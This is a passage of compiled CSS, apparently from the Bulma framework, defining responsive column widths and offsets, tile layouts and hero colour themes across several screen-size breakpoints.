66.6666%; }\n .column.is-offset-half-mobile {\n margin-left: 50%; }\n .column.is-offset-one-third-mobile {\n margin-left: 33.3333%; }\n .column.is-offset-one-quarter-mobile {\n margin-left: 25%; }\n .column.is-offset-one-fifth-mobile {\n margin-left: 20%; }\n .column.is-offset-two-fifths-mobile {\n margin-left: 40%; }\n .column.is-offset-three-fifths-mobile {\n margin-left: 60%; }\n .column.is-offset-four-fifths-mobile {\n margin-left: 80%; }\n .column.is-1-mobile {\n flex: none;\n width: 8.33333%; }\n .column.is-offset-1-mobile {\n margin-left: 8.33333%; }\n .column.is-2-mobile {\n flex: none;\n width: 16.66667%; }\n .column.is-offset-2-mobile {\n margin-left: 16.66667%; }\n .column.is-3-mobile {\n flex: none;\n width: 25%; }\n .column.is-offset-3-mobile {\n margin-left: 25%; }\n .column.is-4-mobile {\n flex: none;\n width: 33.33333%; }\n .column.is-offset-4-mobile {\n margin-left: 33.33333%; }\n .column.is-5-mobile {\n flex: none;\n width: 41.66667%; }\n .column.is-offset-5-mobile {\n margin-left: 41.66667%; }\n .column.is-6-mobile {\n flex: none;\n width: 50%; }\n .column.is-offset-6-mobile {\n margin-left: 50%; }\n .column.is-7-mobile {\n flex: none;\n width: 58.33333%; }\n .column.is-offset-7-mobile {\n margin-left: 58.33333%; }\n .column.is-8-mobile {\n flex: none;\n width: 66.66667%; }\n .column.is-offset-8-mobile {\n margin-left: 66.66667%; }\n .column.is-9-mobile {\n flex: none;\n width: 75%; }\n .column.is-offset-9-mobile {\n margin-left: 75%; }\n .column.is-10-mobile {\n flex: none;\n width: 83.33333%; }\n .column.is-offset-10-mobile {\n margin-left: 83.33333%; }\n .column.is-11-mobile {\n flex: none;\n width: 91.66667%; }\n .column.is-offset-11-mobile {\n margin-left: 91.66667%; }\n .column.is-12-mobile {\n flex: none;\n width: 100%; }\n .column.is-offset-12-mobile {\n margin-left: 100%; } }\n @media screen and (min-width: 769px), print {\n .column.is-narrow, .column.is-narrow-tablet {\n flex: none; }\n .column.is-full, .column.is-full-tablet {\n flex: none;\n width: 100%; }\n .column.is-three-quarters, .column.is-three-quarters-tablet {\n flex: none;\n width: 75%; }\n .column.is-two-thirds, .column.is-two-thirds-tablet {\n flex: none;\n width: 66.6666%; }\n .column.is-half, .column.is-half-tablet {\n flex: none;\n width: 50%; }\n .column.is-one-third, .column.is-one-third-tablet {\n flex: none;\n width: 33.3333%; }\n .column.is-one-quarter, .column.is-one-quarter-tablet {\n flex: none;\n width: 25%; }\n .column.is-one-fifth, .column.is-one-fifth-tablet {\n flex: none;\n width: 20%; }\n .column.is-two-fifths, .column.is-two-fifths-tablet {\n flex: none;\n width: 40%; }\n .column.is-three-fifths, .column.is-three-fifths-tablet {\n flex: none;\n width: 60%; }\n .column.is-four-fifths, .column.is-four-fifths-tablet {\n flex: none;\n width: 80%; }\n .column.is-offset-three-quarters, .column.is-offset-three-quarters-tablet {\n margin-left: 75%; }\n .column.is-offset-two-thirds, .column.is-offset-two-thirds-tablet {\n margin-left: 66.6666%; }\n .column.is-offset-half, .column.is-offset-half-tablet {\n margin-left: 50%; }\n .column.is-offset-one-third, .column.is-offset-one-third-tablet {\n margin-left: 33.3333%; }\n .column.is-offset-one-quarter, .column.is-offset-one-quarter-tablet {\n margin-left: 25%; }\n .column.is-offset-one-fifth, .column.is-offset-one-fifth-tablet {\n margin-left: 20%; }\n .column.is-offset-two-fifths, .column.is-offset-two-fifths-tablet {\n margin-left: 40%; }\n .column.is-offset-three-fifths, .column.is-offset-three-fifths-tablet {\n margin-left: 60%; }\n .column.is-offset-four-fifths, .column.is-offset-four-fifths-tablet {\n margin-left: 80%; }\n .column.is-1, .column.is-1-tablet {\n flex: none;\n width: 8.33333%; }\n .column.is-offset-1, .column.is-offset-1-tablet {\n margin-left: 8.33333%; }\n .column.is-2, .column.is-2-tablet {\n flex: none;\n width: 16.66667%; }\n .column.is-offset-2, .column.is-offset-2-tablet {\n margin-left: 16.66667%; }\n .column.is-3, .column.is-3-tablet {\n flex: none;\n width: 25%; }\n .column.is-offset-3, .column.is-offset-3-tablet {\n margin-left: 25%; }\n .column.is-4, .column.is-4-tablet {\n flex: none;\n width: 33.33333%; }\n .column.is-offset-4, .column.is-offset-4-tablet {\n margin-left: 33.33333%; }\n .column.is-5, .column.is-5-tablet {\n flex: none;\n width: 41.66667%; }\n .column.is-offset-5, .column.is-offset-5-tablet {\n margin-left: 41.66667%; }\n .column.is-6, .column.is-6-tablet {\n flex: none;\n width: 50%; }\n .column.is-offset-6, .column.is-offset-6-tablet {\n margin-left: 50%; }\n .column.is-7, .column.is-7-tablet {\n flex: none;\n width: 58.33333%; }\n .column.is-offset-7, .column.is-offset-7-tablet {\n margin-left: 58.33333%; }\n .column.is-8, .column.is-8-tablet {\n flex: none;\n width: 66.66667%; }\n .column.is-offset-8, .column.is-offset-8-tablet {\n margin-left: 66.66667%; }\n .column.is-9, .column.is-9-tablet {\n flex: none;\n width: 75%; }\n .column.is-offset-9, .column.is-offset-9-tablet {\n margin-left: 75%; }\n .column.is-10, .column.is-10-tablet {\n flex: none;\n width: 83.33333%; }\n .column.is-offset-10, .column.is-offset-10-tablet {\n margin-left: 83.33333%; }\n .column.is-11, .column.is-11-tablet {\n flex: none;\n width: 91.66667%; }\n .column.is-offset-11, .column.is-offset-11-tablet {\n margin-left: 91.66667%; }\n .column.is-12, .column.is-12-tablet {\n flex: none;\n width: 100%; }\n .column.is-offset-12, .column.is-offset-12-tablet {\n margin-left: 100%; } }\n @media screen and (max-width: 1087px) {\n .column.is-narrow-touch {\n flex: none; }\n .column.is-full-touch {\n flex: none;\n width: 100%; }\n .column.is-three-quarters-touch {\n flex: none;\n width: 75%; }\n .column.is-two-thirds-touch {\n flex: none;\n width: 66.6666%; }\n .column.is-half-touch {\n flex: none;\n width: 50%; }\n .column.is-one-third-touch {\n flex: none;\n width: 33.3333%; }\n .column.is-one-quarter-touch {\n flex: none;\n width: 25%; }\n .column.is-one-fifth-touch {\n flex: none;\n width: 20%; }\n .column.is-two-fifths-touch {\n flex: none;\n width: 40%; }\n .column.is-three-fifths-touch {\n flex: none;\n width: 60%; }\n .column.is-four-fifths-touch {\n flex: none;\n width: 80%; }\n .column.is-offset-three-quarters-touch {\n margin-left: 75%; }\n .column.is-offset-two-thirds-touch {\n margin-left: 66.6666%; }\n .column.is-offset-half-touch {\n margin-left: 50%; }\n .column.is-offset-one-third-touch {\n margin-left: 33.3333%; }\n .column.is-offset-one-quarter-touch {\n margin-left: 25%; }\n .column.is-offset-one-fifth-touch {\n margin-left: 20%; }\n .column.is-offset-two-fifths-touch {\n margin-left: 40%; }\n .column.is-offset-three-fifths-touch {\n margin-left: 60%; }\n .column.is-offset-four-fifths-touch {\n margin-left: 80%; }\n .column.is-1-touch {\n flex: none;\n width: 8.33333%; }\n .column.is-offset-1-touch {\n margin-left: 8.33333%; }\n .column.is-2-touch {\n flex: none;\n width: 16.66667%; }\n .column.is-offset-2-touch {\n margin-left: 16.66667%; }\n .column.is-3-touch {\n flex: none;\n width: 25%; }\n .column.is-offset-3-touch {\n margin-left: 25%; }\n .column.is-4-touch {\n flex: none;\n width: 33.33333%; }\n .column.is-offset-4-touch {\n margin-left: 33.33333%; }\n .column.is-5-touch {\n flex: none;\n width: 41.66667%; }\n .column.is-offset-5-touch {\n margin-left: 41.66667%; }\n .column.is-6-touch {\n flex: none;\n width: 50%; }\n .column.is-offset-6-touch {\n margin-left: 50%; }\n .column.is-7-touch {\n flex: none;\n width: 58.33333%; }\n .column.is-offset-7-touch {\n margin-left: 58.33333%; }\n .column.is-8-touch {\n flex: none;\n width: 66.66667%; }\n .column.is-offset-8-touch {\n margin-left: 66.66667%; }\n .column.is-9-touch {\n flex: none;\n width: 75%; }\n .column.is-offset-9-touch {\n margin-left: 75%; }\n .column.is-10-touch {\n flex: none;\n width: 83.33333%; }\n .column.is-offset-10-touch {\n margin-left: 83.33333%; }\n .column.is-11-touch {\n flex: none;\n width: 91.66667%; }\n .column.is-offset-11-touch {\n margin-left: 91.66667%; }\n .column.is-12-touch {\n flex: none;\n width: 100%; }\n .column.is-offset-12-touch {\n margin-left: 100%; } }\n @media screen and (min-width: 1088px) {\n .column.is-narrow-desktop {\n flex: none; }\n .column.is-full-desktop {\n flex: none;\n width: 100%; }\n .column.is-three-quarters-desktop {\n flex: none;\n width: 75%; }\n .column.is-two-thirds-desktop {\n flex: none;\n width: 66.6666%; }\n .column.is-half-desktop {\n flex: none;\n width: 50%; }\n .column.is-one-third-desktop {\n flex: none;\n width: 33.3333%; }\n .column.is-one-quarter-desktop {\n flex: none;\n width: 25%; }\n .column.is-one-fifth-desktop {\n flex: none;\n width: 20%; }\n .column.is-two-fifths-desktop {\n flex: none;\n width: 40%; }\n .column.is-three-fifths-desktop {\n flex: none;\n width: 60%; }\n .column.is-four-fifths-desktop {\n flex: none;\n width: 80%; }\n .column.is-offset-three-quarters-desktop {\n margin-left: 75%; }\n .column.is-offset-two-thirds-desktop {\n margin-left: 66.6666%; }\n .column.is-offset-half-desktop {\n margin-left: 50%; }\n .column.is-offset-one-third-desktop {\n margin-left: 33.3333%; }\n .column.is-offset-one-quarter-desktop {\n margin-left: 25%; }\n .column.is-offset-one-fifth-desktop {\n margin-left: 20%; }\n .column.is-offset-two-fifths-desktop {\n margin-left: 40%; }\n .column.is-offset-three-fifths-desktop {\n margin-left: 60%; }\n .column.is-offset-four-fifths-desktop {\n margin-left: 80%; }\n .column.is-1-desktop {\n flex: none;\n width: 8.33333%; }\n .column.is-offset-1-desktop {\n margin-left: 8.33333%; }\n .column.is-2-desktop {\n flex: none;\n width: 16.66667%; }\n .column.is-offset-2-desktop {\n margin-left: 16.66667%; }\n .column.is-3-desktop {\n flex: none;\n width: 25%; }\n .column.is-offset-3-desktop {\n margin-left: 25%; }\n .column.is-4-desktop {\n flex: none;\n width: 33.33333%; }\n .column.is-offset-4-desktop {\n margin-left: 33.33333%; }\n .column.is-5-desktop {\n flex: none;\n width: 41.66667%; }\n .column.is-offset-5-desktop {\n margin-left: 41.66667%; }\n .column.is-6-desktop {\n flex: none;\n width: 50%; }\n .column.is-offset-6-desktop {\n margin-left: 50%; }\n .column.is-7-desktop {\n flex: none;\n width: 58.33333%; }\n .column.is-offset-7-desktop {\n margin-left: 58.33333%; }\n .column.is-8-desktop {\n flex: none;\n width: 66.66667%; }\n .column.is-offset-8-desktop {\n margin-left: 66.66667%; }\n .column.is-9-desktop {\n flex: none;\n width: 75%; }\n .column.is-offset-9-desktop {\n margin-left: 75%; }\n .column.is-10-desktop {\n flex: none;\n width: 83.33333%; }\n .column.is-offset-10-desktop {\n margin-left: 83.33333%; }\n .column.is-11-desktop {\n flex: none;\n width: 91.66667%; }\n .column.is-offset-11-desktop {\n margin-left: 91.66667%; }\n .column.is-12-desktop {\n flex: none;\n width: 100%; }\n .column.is-offset-12-desktop {\n margin-left: 100%; } }\n @media screen and (min-width: 1280px) {\n .column.is-narrow-widescreen {\n flex: none; }\n .column.is-full-widescreen {\n flex: none;\n width: 100%; }\n .column.is-three-quarters-widescreen {\n flex: none;\n width: 75%; }\n .column.is-two-thirds-widescreen {\n flex: none;\n width: 66.6666%; }\n .column.is-half-widescreen {\n flex: none;\n width: 50%; }\n .column.is-one-third-widescreen {\n flex: none;\n width: 33.3333%; }\n .column.is-one-quarter-widescreen {\n flex: none;\n width: 25%; }\n .column.is-one-fifth-widescreen {\n flex: none;\n width: 20%; }\n .column.is-two-fifths-widescreen {\n flex: none;\n width: 40%; }\n .column.is-three-fifths-widescreen {\n flex: none;\n width: 60%; }\n .column.is-four-fifths-widescreen {\n flex: none;\n width: 80%; }\n .column.is-offset-three-quarters-widescreen {\n margin-left: 75%; }\n .column.is-offset-two-thirds-widescreen {\n margin-left: 66.6666%; }\n .column.is-offset-half-widescreen {\n margin-left: 50%; }\n .column.is-offset-one-third-widescreen {\n margin-left: 33.3333%; }\n .column.is-offset-one-quarter-widescreen {\n margin-left: 25%; }\n .column.is-offset-one-fifth-widescreen {\n margin-left: 20%; }\n .column.is-offset-two-fifths-widescreen {\n margin-left: 40%; }\n .column.is-offset-three-fifths-widescreen {\n margin-left: 60%; }\n .column.is-offset-four-fifths-widescreen {\n margin-left: 80%; }\n .column.is-1-widescreen {\n flex: none;\n width: 8.33333%; }\n .column.is-offset-1-widescreen {\n margin-left: 8.33333%; }\n .column.is-2-widescreen {\n flex: none;\n width: 16.66667%; }\n .column.is-offset-2-widescreen {\n margin-left: 16.66667%; }\n .column.is-3-widescreen {\n flex: none;\n width: 25%; }\n .column.is-offset-3-widescreen {\n margin-left: 25%; }\n .column.is-4-widescreen {\n flex: none;\n width: 33.33333%; }\n .column.is-offset-4-widescreen {\n margin-left: 33.33333%; }\n .column.is-5-widescreen {\n flex: none;\n width: 41.66667%; }\n .column.is-offset-5-widescreen {\n margin-left: 41.66667%; }\n .column.is-6-widescreen {\n flex: none;\n width: 50%; }\n .column.is-offset-6-widescreen {\n margin-left: 50%; }\n .column.is-7-widescreen {\n flex: none;\n width: 58.33333%; }\n .column.is-offset-7-widescreen {\n margin-left: 58.33333%; }\n .column.is-8-widescreen {\n flex: none;\n width: 66.66667%; }\n .column.is-offset-8-widescreen {\n margin-left: 66.66667%; }\n .column.is-9-widescreen {\n flex: none;\n width: 75%; }\n .column.is-offset-9-widescreen {\n margin-left: 75%; }\n .column.is-10-widescreen {\n flex: none;\n width: 83.33333%; }\n .column.is-offset-10-widescreen {\n margin-left: 83.33333%; }\n .column.is-11-widescreen {\n flex: none;\n width: 91.66667%; }\n .column.is-offset-11-widescreen {\n margin-left: 91.66667%; }\n .column.is-12-widescreen {\n flex: none;\n width: 100%; }\n .column.is-offset-12-widescreen {\n margin-left: 100%; } }\n @media screen and (min-width: 1472px) {\n .column.is-narrow-fullhd {\n flex: none; }\n .column.is-full-fullhd {\n flex: none;\n width: 100%; }\n .column.is-three-quarters-fullhd {\n flex: none;\n width: 75%; }\n .column.is-two-thirds-fullhd {\n flex: none;\n width: 66.6666%; }\n .column.is-half-fullhd {\n flex: none;\n width: 50%; }\n .column.is-one-third-fullhd {\n flex: none;\n width: 33.3333%; }\n .column.is-one-quarter-fullhd {\n flex: none;\n width: 25%; }\n .column.is-one-fifth-fullhd {\n flex: none;\n width: 20%; }\n .column.is-two-fifths-fullhd {\n flex: none;\n width: 40%; }\n .column.is-three-fifths-fullhd {\n flex: none;\n width: 60%; }\n .column.is-four-fifths-fullhd {\n flex: none;\n width: 80%; }\n .column.is-offset-three-quarters-fullhd {\n margin-left: 75%; }\n .column.is-offset-two-thirds-fullhd {\n margin-left: 66.6666%; }\n .column.is-offset-half-fullhd {\n margin-left: 50%; }\n .column.is-offset-one-third-fullhd {\n margin-left: 33.3333%; }\n .column.is-offset-one-quarter-fullhd {\n margin-left: 25%; }\n .column.is-offset-one-fifth-fullhd {\n margin-left: 20%; }\n .column.is-offset-two-fifths-fullhd {\n margin-left: 40%; }\n .column.is-offset-three-fifths-fullhd {\n margin-left: 60%; }\n .column.is-offset-four-fifths-fullhd {\n margin-left: 80%; }\n .column.is-1-fullhd {\n flex: none;\n width: 8.33333%; }\n .column.is-offset-1-fullhd {\n margin-left: 8.33333%; }\n .column.is-2-fullhd {\n flex: none;\n width: 16.66667%; }\n .column.is-offset-2-fullhd {\n margin-left: 16.66667%; }\n .column.is-3-fullhd {\n flex: none;\n width: 25%; }\n .column.is-offset-3-fullhd {\n margin-left: 25%; }\n .column.is-4-fullhd {\n flex: none;\n width: 33.33333%; }\n .column.is-offset-4-fullhd {\n margin-left: 33.33333%; }\n .column.is-5-fullhd {\n flex: none;\n width: 41.66667%; }\n .column.is-offset-5-fullhd {\n margin-left: 41.66667%; }\n .column.is-6-fullhd {\n flex: none;\n width: 50%; }\n .column.is-offset-6-fullhd {\n margin-left: 50%; }\n .column.is-7-fullhd {\n flex: none;\n width: 58.33333%; }\n .column.is-offset-7-fullhd {\n margin-left: 58.33333%; }\n .column.is-8-fullhd {\n flex: none;\n width: 66.66667%; }\n .column.is-offset-8-fullhd {\n margin-left: 66.66667%; }\n .column.is-9-fullhd {\n flex: none;\n width: 75%; }\n .column.is-offset-9-fullhd {\n margin-left: 75%; }\n .column.is-10-fullhd {\n flex: none;\n width: 83.33333%; }\n .column.is-offset-10-fullhd {\n margin-left: 83.33333%; }\n .column.is-11-fullhd {\n flex: none;\n width: 91.66667%; }\n .column.is-offset-11-fullhd {\n margin-left: 91.66667%; }\n .column.is-12-fullhd {\n flex: none;\n width: 100%; }\n .column.is-offset-12-fullhd {\n margin-left: 100%; } }\n\n.columns {\n margin-left: -0.75rem;\n margin-right: -0.75rem;\n margin-top: -0.75rem; }\n .columns:last-child {\n margin-bottom: -0.75rem; }\n .columns:not(:last-child) {\n margin-bottom: calc(1.5rem - 0.75rem); }\n .columns.is-centered {\n justify-content: center; }\n .columns.is-gapless {\n margin-left: 0;\n margin-right: 0;\n margin-top: 0; }\n .columns.is-gapless > .column {\n margin: 0;\n padding: 0 !important; }\n .columns.is-gapless:not(:last-child) {\n margin-bottom: 1.5rem; }\n .columns.is-gapless:last-child {\n margin-bottom: 0; }\n .columns.is-mobile {\n display: flex; }\n .columns.is-multiline {\n flex-wrap: wrap; }\n .columns.is-vcentered {\n align-items: center; }\n @media screen and (min-width: 769px), print {\n .columns:not(.is-desktop) {\n display: flex; } }\n @media screen and (min-width: 1088px) {\n .columns.is-desktop {\n display: flex; } }\n\n.columns.is-variable {\n --columnGap: 0.75rem;\n margin-left: calc(-1 * var(--columnGap));\n margin-right: calc(-1 * var(--columnGap)); }\n .columns.is-variable .column {\n padding-left: var(--columnGap);\n padding-right: var(--columnGap); }\n .columns.is-variable.is-0 {\n --columnGap: 0rem; }\n .columns.is-variable.is-1 {\n --columnGap: 0.25rem; }\n .columns.is-variable.is-2 {\n --columnGap: 0.5rem; }\n .columns.is-variable.is-3 {\n --columnGap: 0.75rem; }\n .columns.is-variable.is-4 {\n --columnGap: 1rem; }\n .columns.is-variable.is-5 {\n --columnGap: 1.25rem; }\n .columns.is-variable.is-6 {\n --columnGap: 1.5rem; }\n .columns.is-variable.is-7 {\n --columnGap: 1.75rem; }\n .columns.is-variable.is-8 {\n --columnGap: 2rem; }\n\n.tile {\n align-items: stretch;\n display: block;\n flex-basis: 0;\n flex-grow: 1;\n flex-shrink: 1;\n min-height: min-content; }\n .tile.is-ancestor {\n margin-left: -0.75rem;\n margin-right: -0.75rem;\n margin-top: -0.75rem; }\n .tile.is-ancestor:last-child {\n margin-bottom: -0.75rem; }\n .tile.is-ancestor:not(:last-child) {\n margin-bottom: 0.75rem; }\n .tile.is-child {\n margin: 0 !important; }\n .tile.is-parent {\n padding: 0.75rem; }\n .tile.is-vertical {\n flex-direction: column; }\n .tile.is-vertical > .tile.is-child:not(:last-child) {\n margin-bottom: 1.5rem !important; }\n @media screen and (min-width: 769px), print {\n .tile:not(.is-child) {\n display: flex; }\n .tile.is-1 {\n flex: none;\n width: 8.33333%; }\n .tile.is-2 {\n flex: none;\n width: 16.66667%; }\n .tile.is-3 {\n flex: none;\n width: 25%; }\n .tile.is-4 {\n flex: none;\n width: 33.33333%; }\n .tile.is-5 {\n flex: none;\n width: 41.66667%; }\n .tile.is-6 {\n flex: none;\n width: 50%; }\n .tile.is-7 {\n flex: none;\n width: 58.33333%; }\n .tile.is-8 {\n flex: none;\n width: 66.66667%; }\n .tile.is-9 {\n flex: none;\n width: 75%; }\n .tile.is-10 {\n flex: none;\n width: 83.33333%; }\n .tile.is-11 {\n flex: none;\n width: 91.66667%; }\n .tile.is-12 {\n flex: none;\n width: 100%; } }\n\n.hero {\n align-items: stretch;\n display: flex;\n flex-direction: column;\n justify-content: space-between; }\n .hero .navbar {\n background: none; }\n .hero .tabs ul {\n border-bottom: none; }\n .hero.is-white {\n background-color: white;\n color: #0a0a0a; }\n .hero.is-white a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-white strong {\n color: inherit; }\n .hero.is-white .title {\n color: #0a0a0a; }\n .hero.is-white .subtitle {\n color: rgba(10, 10, 10, 0.9); }\n .hero.is-white .subtitle a:not(.button),\n .hero.is-white .subtitle strong {\n color: #0a0a0a; }\n @media screen and (max-width: 1087px) {\n .hero.is-white .navbar-menu {\n background-color: white; } }\n .hero.is-white .navbar-item,\n .hero.is-white .navbar-link {\n color: rgba(10, 10, 10, 0.7); }\n .hero.is-white a.navbar-item:hover, .hero.is-white a.navbar-item.is-active,\n .hero.is-white .navbar-link:hover,\n .hero.is-white .navbar-link.is-active {\n background-color: #f2f2f2;\n color: #0a0a0a; }\n .hero.is-white .tabs a {\n color: #0a0a0a;\n opacity: 0.9; }\n .hero.is-white .tabs a:hover {\n opacity: 1; }\n .hero.is-white .tabs li.is-active a {\n opacity: 1; }\n .hero.is-white .tabs.is-boxed a, .hero.is-white .tabs.is-toggle a {\n color: #0a0a0a; }\n .hero.is-white .tabs.is-boxed a:hover, .hero.is-white .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-white .tabs.is-boxed li.is-active a, .hero.is-white .tabs.is-boxed li.is-active a:hover, .hero.is-white .tabs.is-toggle li.is-active a, .hero.is-white .tabs.is-toggle li.is-active a:hover {\n background-color: #0a0a0a;\n border-color: #0a0a0a;\n color: white; }\n .hero.is-white.is-bold {\n background-image: linear-gradient(141deg, #e6e6e6 0%, white 71%, white 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-white.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #e6e6e6 0%, white 71%, white 100%); } }\n .hero.is-black {\n background-color: #0a0a0a;\n color: white; }\n .hero.is-black a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-black strong {\n color: inherit; }\n .hero.is-black .title {\n color: white; }\n .hero.is-black .subtitle {\n color: rgba(255, 255, 255, 0.9); }\n .hero.is-black .subtitle a:not(.button),\n .hero.is-black .subtitle strong {\n color: white; }\n @media screen and (max-width: 1087px) {\n .hero.is-black .navbar-menu {\n background-color: #0a0a0a; } }\n .hero.is-black .navbar-item,\n .hero.is-black .navbar-link {\n color: rgba(255, 255, 255, 0.7); }\n .hero.is-black a.navbar-item:hover, .hero.is-black a.navbar-item.is-active,\n .hero.is-black .navbar-link:hover,\n .hero.is-black .navbar-link.is-active {\n background-color: black;\n color: white; }\n .hero.is-black .tabs a {\n color: white;\n opacity: 0.9; }\n .hero.is-black .tabs a:hover {\n opacity: 1; }\n .hero.is-black .tabs li.is-active a {\n opacity: 1; }\n .hero.is-black .tabs.is-boxed a, .hero.is-black .tabs.is-toggle a {\n color: white; }\n .hero.is-black .tabs.is-boxed a:hover, .hero.is-black .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-black .tabs.is-boxed li.is-active a, .hero.is-black .tabs.is-boxed li.is-active a:hover, .hero.is-black .tabs.is-toggle li.is-active a, .hero.is-black .tabs.is-toggle li.is-active a:hover {\n background-color: white;\n border-color: white;\n color: #0a0a0a; }\n .hero.is-black.is-bold {\n background-image: linear-gradient(141deg, black 0%, #0a0a0a 71%, #181616 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-black.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, black 0%, #0a0a0a 71%, #181616 100%); } }\n .hero.is-light {\n background-color: whitesmoke;\n color: #363636; }\n .hero.is-light a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-light strong {\n color: inherit; }\n .hero.is-light .title {\n color: #363636; }\n .hero.is-light .subtitle {\n color: rgba(54, 54, 54, 0.9); }\n .hero.is-light .subtitle a:not(.button),\n .hero.is-light .subtitle strong {\n color: #363636; }\n @media screen and (max-width: 1087px) {\n .hero.is-light .navbar-menu {\n background-color: whitesmoke; } }\n .hero.is-light .navbar-item,\n .hero.is-light .navbar-link {\n color: rgba(54, 54, 54, 0.7); }\n .hero.is-light a.navbar-item:hover, .hero.is-light a.navbar-item.is-active,\n .hero.is-light .navbar-link:hover,\n .hero.is-light .navbar-link.is-active {\n background-color: #e8e8e8;\n color: #363636; }\n .hero.is-light .tabs a {\n color: #363636;\n opacity: 0.9; }\n .hero.is-light .tabs a:hover {\n opacity: 1; }\n .hero.is-light .tabs li.is-active a {\n opacity: 1; }\n .hero.is-light .tabs.is-boxed a, .hero.is-light .tabs.is-toggle a {\n color: #363636; }\n .hero.is-light .tabs.is-boxed a:hover, .hero.is-light .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-light .tabs.is-boxed li.is-active a, .hero.is-light .tabs.is-boxed li.is-active a:hover, .hero.is-light .tabs.is-toggle li.is-active a, .hero.is-light .tabs.is-toggle li.is-active a:hover {\n background-color: #363636;\n border-color: #363636;\n color: whitesmoke; }\n .hero.is-light.is-bold {\n background-image: linear-gradient(141deg, #dfd8d9 0%, whitesmoke 71%, white 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-light.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #dfd8d9 0%, whitesmoke 71%, white 100%); } }\n .hero.is-dark {\n background-color: #363636;\n color: whitesmoke; }\n .hero.is-dark a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-dark strong {\n color: inherit; }\n .hero.is-dark .title {\n color: whitesmoke; }\n .hero.is-dark .subtitle {\n color: rgba(245, 245, 245, 0.9); }\n .hero.is-dark .subtitle a:not(.button),\n .hero.is-dark .subtitle strong {\n color: whitesmoke; }\n @media screen and (max-width: 1087px) {\n .hero.is-dark .navbar-menu {\n background-color: #363636; } }\n .hero.is-dark .navbar-item,\n .hero.is-dark .navbar-link {\n color: rgba(245, 245, 245, 0.7); }\n .hero.is-dark a.navbar-item:hover, .hero.is-dark a.navbar-item.is-active,\n .hero.is-dark .navbar-link:hover,\n .hero.is-dark .navbar-link.is-active {\n background-color: #292929;\n color: whitesmoke; }\n .hero.is-dark .tabs a {\n color: whitesmoke;\n opacity: 0.9; }\n .hero.is-dark .tabs a:hover {\n opacity: 1; }\n .hero.is-dark .tabs li.is-active a {\n opacity: 1; }\n .hero.is-dark .tabs.is-boxed a, .hero.is-dark .tabs.is-toggle a {\n color: whitesmoke; }\n .hero.is-dark .tabs.is-boxed a:hover, .hero.is-dark .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-dark .tabs.is-boxed li.is-active a, .hero.is-dark .tabs.is-boxed li.is-active a:hover, .hero.is-dark .tabs.is-toggle li.is-active a, .hero.is-dark .tabs.is-toggle li.is-active a:hover {\n background-color: whitesmoke;\n border-color: whitesmoke;\n color: #363636; }\n .hero.is-dark.is-bold {\n background-image: linear-gradient(141deg, #1f191a 0%, #363636 71%, #46403f 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-dark.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #1f191a 0%, #363636 71%, #46403f 100%); } }\n .hero.is-primary {\n background-color: #ff4300;\n color: #fff; }\n .hero.is-primary a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-primary strong {\n color: inherit; }\n .hero.is-primary .title {\n color: #fff; }\n .hero.is-primary .subtitle {\n color: rgba(255, 255, 255, 0.9); }\n .hero.is-primary .subtitle a:not(.button),\n .hero.is-primary .subtitle strong {\n color: #fff; }\n @media screen and (max-width: 1087px) {\n .hero.is-primary .navbar-menu {\n background-color: #ff4300; } }\n .hero.is-primary .navbar-item,\n .hero.is-primary .navbar-link {\n color: rgba(255, 255, 255, 0.7); }\n .hero.is-primary a.navbar-item:hover, .hero.is-primary a.navbar-item.is-active,\n .hero.is-primary .navbar-link:hover,\n .hero.is-primary .navbar-link.is-active {\n background-color: #e63c00;\n color: #fff; }\n .hero.is-primary .tabs a {\n color: #fff;\n opacity: 0.9; }\n .hero.is-primary .tabs a:hover {\n opacity: 1; }\n .hero.is-primary .tabs li.is-active a {\n opacity: 1; }\n .hero.is-primary .tabs.is-boxed a, .hero.is-primary .tabs.is-toggle a {\n color: #fff; }\n .hero.is-primary .tabs.is-boxed a:hover, .hero.is-primary .tabs.is-toggle a:hover {\n background-color: rgba(10, 10, 10, 0.1); }\n .hero.is-primary .tabs.is-boxed li.is-active a, .hero.is-primary .tabs.is-boxed li.is-active a:hover, .hero.is-primary .tabs.is-toggle li.is-active a, .hero.is-primary .tabs.is-toggle li.is-active a:hover {\n background-color: #fff;\n border-color: #fff;\n color: #ff4300; }\n .hero.is-primary.is-bold {\n background-image: linear-gradient(141deg, #cc1400 0%, #ff4300 71%, #ff7c1a 100%); }\n @media screen and (max-width: 768px) {\n .hero.is-primary.is-bold .navbar-menu {\n background-image: linear-gradient(141deg, #cc1400 0%, #ff4300 71%, #ff7c1a 100%); } }\n .hero.is-link {\n background-color: #3273dc;\n color: #fff; }\n .hero.is-link a:not(.button):not(.dropdown-item):not(.tag),\n .hero.is-link strong {\n color: inherit; }\n .hero.is-link .title {\n color: #fff; }\n .hero.is-link .subtitle {\n color: rgba(255, 255, 255, 0.9); }\n .hero.is-link .subtitle a:not(.button),\n .hero.is-link .subtitle strong {\n color: #fff; }\n @media screen and (max-width: 1087px) {\n .hero.is-link .navbar-menu {\n background-color: #3273dc; } }\n .hero.is-link .navbar-item,\n .hero.is-link .navbar-link {\n color: rgba(255, 255, 255, 0.7); }\n .hero.is-link a.navbar-item:hover, .hero.is-link a.navbar-item.is-active,\n .hero.is-link .navbar-link:hover,\n .hero.is-link .navbar-link.is-active {\n background-color: #2366d1;\n color: #fff; }\n .hero.is-link .tabs a {\n color: #fff;\n opacity: 0.9; }\n .hero.is-link .tabs a:hover {\n opacity: 1; }\n .hero.is-link .tabs li.is-active a {\n opacity: 1; }\n .hero.is-link .tabs.is-boxed a, .hero.is-link .tabs.is-toggle a 